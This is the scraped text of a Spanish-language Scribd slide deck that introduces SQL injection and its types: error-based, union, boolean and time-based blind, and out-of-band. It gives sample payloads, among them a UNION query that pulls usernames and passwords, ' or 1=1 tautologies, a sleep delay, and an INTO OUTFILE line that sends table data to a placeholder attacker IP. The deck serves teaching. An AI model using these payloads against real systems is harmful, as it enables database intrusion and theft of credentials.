0% encontró este documento útil (1 voto)
176 vistas8 páginas

Inyeccion SQL

Este documento describe la inyección SQL y sus diferentes tipos. SQL es un lenguaje de consulta utilizado para administrar bases de datos relacionales. La inyección SQL es un método de intrusión que explota vulnerabilidades en las aplicaciones para ejecutar consultas maliciosas en la base de datos. Los tipos de inyección SQL incluyen inyección en banda, por unión e inferencial ciega, así como fuera de banda que transfiere datos a ubicaciones no autorizadas.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PPTX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (1 voto)
176 vistas8 páginas

Inyeccion SQL

Este documento describe la inyección SQL y sus diferentes tipos. SQL es un lenguaje de consulta utilizado para administrar bases de datos relacionales. La inyección SQL es un método de intrusión que explota vulnerabilidades en las aplicaciones para ejecutar consultas maliciosas en la base de datos. Los tipos de inyección SQL incluyen inyección en banda, por unión e inferencial ciega, así como fuera de banda que transfiere datos a ubicaciones no autorizadas.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PPTX, PDF, TXT o lee en línea desde Scribd

Inyección SQL

¿ Que es SQL ?
SQL (Structured Query Language) es un lenguaje de dominio
específico utilizado en programación, diseñado para
administrar y recuperar información de sistemas de gestión de
bases de datos relacionales.

Operaciones como:
Crear, modificar, eliminar, añadir información a un gestor de
base de datos
¿ Que es Inyección SQL ?
Inyección SQL es un método de infiltración de código intruso
que se vale de una vulnerabilidad informática presente en una
aplicación en el nivel de validación de las entradas para
realizar operaciones sobre una base de datos.
Tipos de inyección SQL
1. Inyección SQL en banda:

Ataque inyección SQL por error.

Es el más común y el más fácil de explotar ya que es la propia


aplicación que nos va diciendo los errores que da la base de
datos cuando vamos usando los ataques de SQL injection. Con
este error es muy fácil conseguir cualquier cosa de la base de
datos (estructura, tablas, nombres de campos e incluso datos).
 Ataque inyección SQL por unión

Es la más visual de los ataques de SQL injection, ya que


consiste en añadir una sentencia SQL maliciosa a la sentencia
SQL original haciendo que la web nos muestre más datos de los
que tendría que mostrarnos.

Select titulo, enlace


from mesa_de_correo
Where id < 10

UNION

Select usuario, contraseña


from tabla_de_usuario; -- ;
2. Inyección SQL Inferencial (Blind SQL
Injection)
 Ataque Booleano

Es el ataque de SQL injection más complicado, ya que puede


ser que no podamos hacer el ataque por error ni tampoco por
unión, y como si fuera un fantasma en una casa encantada, solo
podamos preguntar preguntas cuya respuesta sea verdadero o
falso. De este ataque hay dos tipos, si/no y por tiempo. En este
articulo hablaremos del ataque si/no o booleano.
- ‘ and 1=1

- ‘ or 1=1
 Ataque inyección SQL por tiempo

Cuando la web no da errores con las excepciones de la base de


datos, cuando no es posible ni inyectar código por unión ni
siquiera por un ataque ciego si/no, lo único que queda por
probar es ataque ciego por tiempo. El más difícil de todos.

select * from comentario


where id_comentario=1 -sleep(15);
3. Inyección SQL fuera de banda

Típicamente, estas técnicas implican el envío de datos de la base de


datos a una ubicación maligna elegida por el atacante.

Este proceso también depende en gran medida de las capacidades del


sistema de gestión de la base de datos.
Un ataque de inyección SQL fuera de banda utiliza una capacidad de
proceso de archivos externos de su SGBD. En MySQL, las funciones
LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a
MySQL que transmita los datos a una fuente externa.

select * from mesa_de_correo


into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

También podría gustarte